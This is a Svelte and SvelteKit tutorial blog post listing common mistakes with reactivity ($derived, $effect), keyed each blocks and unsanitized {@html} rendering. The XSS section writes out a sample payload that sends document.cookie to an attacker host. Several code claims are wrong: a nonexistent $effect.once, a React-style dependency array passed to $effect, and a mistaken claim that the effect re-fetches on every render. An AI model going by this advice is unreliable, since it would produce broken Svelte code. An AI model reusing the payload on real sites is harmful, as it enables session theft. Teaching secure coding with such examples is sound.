Skip to content
ExponaBLOG
SVELTE & SVELTEKIT · DAY 069 / 100

Common Svelte mistakes for Svelte & SvelteKit developers

Bugs to avoid.

Expona Admin7 min read

After working through two months of Svelte fundamentals and intermediate patterns, you've likely built a few components and even shipped some features. But production code reveals patterns that tutorials gloss over, and common Svelte mistakes for Svelte & SvelteKit developers can silently break reactivity, leak memory, or introduce security vulnerabilities. We'll walk through the bugs that catch teams most often.

Mutating state inside $derive

Svelte's $derived is powerful—it creates a reactive value that updates automatically when its dependencies change. But $derived is meant to compute, not to perform side effects or mutations. A common mistake is treating $derived like an effect and mutating shared state inside it.

Here's where teams get tripped up:

typescript

let items = $state([
  { id: 1, selected: false },
  { id: 2, selected: false }
]);

let selectedCount = $derived(() => {
  // ❌ WRONG: Mutating state inside $derived
  items.forEach(item => {
    if (item.id === 1) item.selected = true;
  });
  return items.filter(i => i.selected).length;
})();

This mutation inside $derived causes $derived to re-run repeatedly because each run modifies items, which is a dependency, triggering re-evaluation in an infinite loop. It also violates the principle that $derived should be a pure computation.

The fix is clear: move mutations to event handlers or $effect:

typescript

let items = $state([
  { id: 1, selected: false },
  { id: 2, selected: false }
]);

// ✅ CORRECT: $derived computes only
let selectedCount = $derived.by(() => {
  return items.filter(i => i.selected).length;
});

function toggleItem(id) {
  // Mutations happen in handlers
  const item = items.find(i => i.id === id);
  if (item) item.selected = !item.selected;
}

Think of $derived as a getter: it reads, filters, transforms, or calculates, but it never writes to external state. If you need to update something based on a reactive value, reach for $effect instead.

Overusing $effect

$effect runs side effects when dependencies change. It's essential for syncing with the DOM, timers, subscriptions, or external APIs. But teams often use $effect when $derived, $effect.pre, or a simple event handler would be cleaner and safer.

A typical overuse pattern:

typescript

let firstName = $state('');
let lastName = $state('');
let fullName = $state('');

// ❌ WRONG: Using $effect for a derived computation
$effect(() => {
  fullName = `${firstName} ${lastName}`;
});

This works, but it's inefficient. Every reactive update runs the effect callback, even if you just need the computed value once. The state is also split across three variables, making the data flow harder to trace.

Use $derived instead:

typescript

let firstName = $state('');
let lastName = $state('');

// ✅ CORRECT: $derived for computed state
let fullName = $derived(`${firstName} ${lastName}`);

Another overuse scenario: syncing props to local state.

typescript

let { userId } = $props();
let userData = $state(null);

// ❌ WRONG: Fetching data for every prop change
$effect(() => {
  fetch(`/api/users/${userId}`)
    .then(r => r.json())
    .then(data => userData = data);
});

This works but re-fetches on every component render or parent update. Use $effect.once or track the dependency explicitly to avoid redundant calls:

typescript

let { userId } = $props();
let userData = $state(null);

// ✅ CORRECT: Fetch only when userId changes
$effect(() => {
  if (!userId) return;
  
  fetch(`/api/users/${userId}`)
    .then(r => r.json())
    .then(data => userData = data);
}, [userId]); // Svelte auto-tracks, but explicit deps clarify intent

A good rule: if you're computing a value that depends on state, use $derived. If you're reacting to changes to sync external data or the DOM, use $effect. If you need cleanup (timers, subscriptions), remember that $effect can return a cleanup function.

Missing keys in each blocks

Svelte's {#each} block loops over arrays and renders templates. Without a key, Svelte reuses DOM nodes in order. This causes bugs when items are reordered, inserted, or removed—especially with form inputs, animations, or component state.

A real-world scenario:

typescript

let todos = $state([
  { id: 1, title: 'Buy milk', done: false },
  { id: 2, title: 'Write tests', done: false },
  { id: 3, title: 'Deploy', done: false }
]);

// ❌ WRONG: No key, reusing DOM across items
{#each todos as todo}
  <input type="checkbox" bind:checked={todo.done} />
  <span>{todo.title}</span>
  <button on:click={() => deleteTodo(todo.id)}>Delete</button>
{/each}

If you delete the first todo, Svelte reuses the checkbox DOM node for the second todo—but the second todo's done state might differ. The user sees the wrong checkbox state or animation jank. Worse, if you're using bind:, component state can get out of sync.

Always provide a unique key:

typescript

// ✅ CORRECT: Key ensures each item has its own DOM node
{#each todos as todo (todo.id)}
  <input type="checkbox" bind:checked={todo.done} />
  <span>{todo.title}</span>
  <button on:click={() => deleteTodo(todo.id)}>Delete</button>
{/each}

The key should be a unique, stable identifier—almost always an ID from your data model. Never use the loop index as a key if the list can change. The key tells Svelte: "This is the identity of this item, so when the array shifts, keep the DOM and state together."

Using {@html} with user content

Svelte's {@html} directive renders HTML strings directly into the DOM. It's useful for rich content from your CMS or for server-rendered HTML. But {@html} is a security boundary: if you render unsanitized user input, you expose your app to XSS attacks.

The dangerous pattern:

typescript

let { userComment } = $props();

// ❌ WRONG: Rendering user input as HTML
<div>{@html userComment}</div>

A malicious user submits: <img src=x onerror="fetch('https://attacker.com/steal?token=' + document.cookie)" />. When rendered, the script runs in your app's context, stealing the user's session token.

The fix depends on your use case. If you trust the source (e.g., your own CMS admin panel), sanitize before storing:

typescript

import DOMPurify from 'isomorphic-dompurify';

let { userComment } = $props();
let safeHtml = $derived.by(() => {
  return DOMPurify.sanitize(userComment);
});

<div>{@html safeHtml}</div>

If you're rendering user-generated content, consider not using {@html} at all. Instead, render as text and let users format with Markdown or a safe subset of HTML:

typescript

import { marked } from 'marked';
import DOMPurify from 'isomorphic-dompurify';

let { userComment } = $props();
let html = $derived.by(() => {
  const markdown = marked(userComment);
  return DOMPurify.sanitize(markdown);
});

<div>{@html html}</div>

Or render plaintext and use <br/> for line breaks:

typescript

// ✅ SAFEST: No {@html}, just text
<div class="comment">{userComment}</div>

Never trust user input. Always sanitize before using {@html}, or avoid it entirely if plaintext is an option.

Common mistakes recap

  • Mutating state in $derived: Use $derived only for pure computation. Move mutations to handlers or $effect.
  • Overusing $effect: Prefer $derived for computed state, and reserve $effect for side effects (DOM updates, subscriptions, timers).
  • Forgetting keys in {#each}: Always provide a unique, stable key to keep DOM nodes and component state in sync when lists change.
  • Rendering unsanitized user content with {@html}: Sanitize user input with DOMPurify or avoid {@html} altogether for user-generated content.

Key takeaways

  • $derived is for reading and computing; $effect is for writing and reacting.
  • Understand the difference between state mutations (event handlers), derived values ($derived), and side effects ($effect)—they have different semantics and performance profiles.
  • Keys in loops aren't optional; they're essential for correct behavior when data changes.
  • Security is not negotiable. Sanitize or avoid {@html} for any user-controlled content.
  • These patterns become second nature with production experience, but revisit your assumptions if you're debugging strange reactivity or state sync issues.
ShareXLinkedInReddit

Found this useful? Support the writing.

Buy me a coffee
Written by
Expona Admin
Site administrator

Comments

Loading comments…

Leave a comment

Comments are reviewed before they appear. Be kind and stay on topic.

Related articles